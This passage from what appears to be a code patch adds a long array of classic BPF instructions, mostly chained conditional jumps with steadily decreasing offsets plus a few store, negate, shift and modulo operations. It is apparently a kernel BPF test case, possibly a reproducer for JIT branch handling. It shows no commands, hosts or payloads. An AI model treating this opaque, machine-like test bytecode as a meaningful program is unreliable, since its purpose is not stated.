.jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xef, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xee, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xed, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xec, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xeb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xea, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xde, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xda, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xce, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xca, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xba, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xae, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xad, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xac, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xab, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x99, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x98, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x97, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x96, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x95, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x94, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x93, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x92, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x91, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x90, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x89, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x88, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x87, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x86, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x85, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x84, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x83, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x82, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x81, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x80, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x79, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x78, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x77, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x76, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x75, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x74, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x73, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x72, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x71, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x70, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x69, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x68, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x67, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x66, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x65, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x64, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x63, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x62, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x61, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x60, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x59, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x58, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x57, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x30, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x29, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x25, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x24, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x23, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x22, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x21, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 